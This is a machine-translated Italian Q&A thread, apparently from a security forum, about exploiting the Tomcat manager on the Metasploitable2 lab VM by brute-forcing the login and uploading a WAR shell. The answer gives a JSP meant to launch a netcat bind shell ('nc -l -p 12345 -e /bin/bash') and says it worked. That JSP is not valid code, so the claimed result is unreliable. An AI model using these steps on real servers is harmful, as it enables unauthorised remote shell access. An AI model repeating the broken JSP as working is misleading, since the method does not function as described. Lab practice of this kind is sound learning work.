Tomcat War Payload non funziona

0

Quindi attualmente sto lavorando su alcuni libri. Uno dei quali mi ha scaricato il metasploitable2 vm. Questa macchina ha un server tomcat in esecuzione su di esso che ho sfruttato con successo usando Metasploit. Ho usato Metasploit per forzare le credenziali di accesso e quindi ho usato un bug nel gestore di upload per inviare un binding al payload TCP. Tutto ha funzionato bene. Ora voglio capire come farlo a mano.

Sono riuscito a forzare la forza accesso a mano ma ho problemi anche nel far funzionare lo scenario di payload di base.

Dalla mia comprensione del modo in cui funziona, Tomcat ti consente di attaccare un JSP dannoso all'interno di una GUERRA e di caricarlo sul loro server per l'esecuzione. Quando viene eseguito il JSP, è possibile ottenere una shell.

In definitiva ciò che voglio fare è iniettare programmaticamente un carico utile che realizzo in python nel server e ottenere una shell inversa senza utilizzare Metasploit. Tuttavia, ho bisogno di lavorare fino a questo, quindi ho pensato di iniziare a prendere un carico utile di Metasploit generato e caricarlo nel server tramite l'interfaccia di gestione del caricamento.

Passaggi per sfruttare la macchina

  1. Bruto ha forzato l'accesso
  2. Generato un payload reverse_tcp con le stesse informazioni che lo hanno reso funzionante quando distribuito da Metasploit
  3. Accesso al servizio gestore tomcat
  4. Navigato nel mio payload WAR e lo ho caricato
  5. Imposta netcat per ascoltare
  6. Nel browser, vai al mio payload. link

Nessuna fortuna. Niente mi richiama. Infatti quando si naviga verso il link si dice che 404 non può essere trovato anche se l'applicazione compare nell'elenco delle applicazioni.

    
posta Anthony Russell 14.09.2016 - 15:26
fonte

1 risposta

1

Va bene così, dopo aver ricevuto il consiglio da un commento sopra a proposito di vedere cosa è stato effettivamente caricato sul server, sono stato in grado di risolvere questo problema.

Il payload

Quindi sembra che tentare di prendere il modo "facile" prima e utilizzare un file WAR precompilato sia stato il punto in cui ho sbagliato. Questo perché non avevo idea di come fosse chiamato il file JSP all'interno della guerra. Quando ho effettuato l'accesso al server e ho cercato nella directory webapps di tomcat5.5, mi è stato subito chiaro quale fosse il nome dell'applicazione e sono stato in grado di farvi riferimento. Però, non ho potuto far funzionare la shell.

Crea il mio payload

Quindi ho deciso di prendere l'altro percorso che è stato costruito come mio carico utile e caricarlo.

Per prima cosa ho creato un file JSP con il mio comando netcat in esso

echo '<% nc -l -p 12345 -e /bin/bash %>' > payload.jsp

Poi ho creato un file di guerra con esso

jar -c payload.jsp > payload.war

Finalmente l'ho caricato sul server con il mio strumento di caricamento e l'ho chiamato nel browser.

TargetMachineIp:TomcatPort/tomcat_exploit_dir/payload.jsp

Poi mi sono appena collegato ad esso con netcat

nc targetmachineip targetport 
...Profit...

Puoi vedere il mio resoconto completo su come l'ho fatto qui

    
risposta data 16.09.2016 - 18:05
fonte

Leggi altre domande sui tag